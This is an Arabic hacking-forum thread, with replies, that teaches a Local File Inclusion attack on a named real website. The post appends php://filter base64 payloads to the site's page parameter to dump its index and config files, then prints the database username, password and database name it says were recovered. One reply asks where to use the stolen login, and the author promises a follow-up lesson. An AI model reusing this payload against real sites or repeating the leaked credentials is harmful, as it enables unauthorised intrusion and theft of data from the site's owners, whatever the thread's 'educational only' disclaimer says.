بسم الله الرحمن الرحيم اخواني الكرام السلام عليكم و رحمة الله وبركاته الموضوع عن ثغرات:Local File Include بظن أغلبكم بيعرفها اولا لدينا الموقع المستهدف: http://theatrefoxcompagnie.com/index.php?page= هذا هو الموقع نكتب هذا الكود بعد الرابط مباشرة كود PHP: php://filter/convert.base64-encode/resource=index طبعا هو ليس كود إنما فلتر المهم بعد هذا الكود يطلع لنا كلام بالانجليزي.!!! الان ننسخ هذا الكلام و ننتقل لهذا الموقع لفك التشفير ... http://home.paulschou.net/tools/xlate/ تمام او بإمكانك فك التشفير عن طريق الشيل !!! والمراد من فك التشفير هو الحصول على ملف الكونيفق بعد فك التشفير نأخذ هذه الكلمة config_inc تمام وننسخها ونحذف كلمة index في الكود السابق ونضع هذه الكلمة config_inc رائع يعني بصير الكود كود PHP: php://filter/convert.base64-encode/resource=config_inc الان نرى كلام انجليزي نقوم بنسخه و بفك تشفيره إما عبر الشيل او عبر الموقع حسب الرغبة وبعد فك التشفير نجد المعلومات كالتالي user:foxcompagnie Password:b9waz95d database:theatrefoxcompagniecom انتهى الشرح و سأترككم الان مع الصور والحمد لله رب العالمين لا تنسونا من خير الدعاء لي و لوالديه والرجاء عدم تدمير المواقع الإسلامية و الثقافية التعليمية ولو كانت انكليزية الهدف من الدرس لأغراض تعليمية فقط !!! انتهى
php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=config_inc
التعديل الأخير تم بواسطة Omar hcj ; 07-27-2012 الساعة 09:48 AM
We are Syrians We are Free Sunni, Shia, christian I don't care We are all free Channel: http://www.youtube.com/MacBook3rabi Twitter: https://twitter.com/macbook3arabi We are White Hats hackers, We don't Hack we protect
ثانكس موضوع رائع ويشرفني أكون اول واحد يرد عليه بس عندي أستفسار بسيط 1.أين سأستعمل اليوزر نيم والباسورد للكونفج ؟؟
مشكور على ردك وبالنسبة لسؤالك لح ساوي درس عليه انتظرني
بارك الله فيك
المشاركة الأصلية كتبت بواسطة عاشق السبام بارك الله فيك يشرفني ردك
بارك الله فيك يالغالي شرح ولا اروع
دخــولي متقطع بسبب ظروف خاصه
المشاركة الأصلية كتبت بواسطة حبوط بارك الله فيك يالغالي شرح ولا اروع شرفني مرورك اخي الكريم وان شاء الله يكون الشرح وافي
بأنتظار المزيد من ابداعاتك المشاركة الأصلية كتبت بواسطة Omar hcj مشكور على ردك وبالنسبة لسؤالك لح ساوي درس عليه انتظرني
keep helping ...
ConanCoder
مشكورين على الردود والتقيم
قوانين المنتدى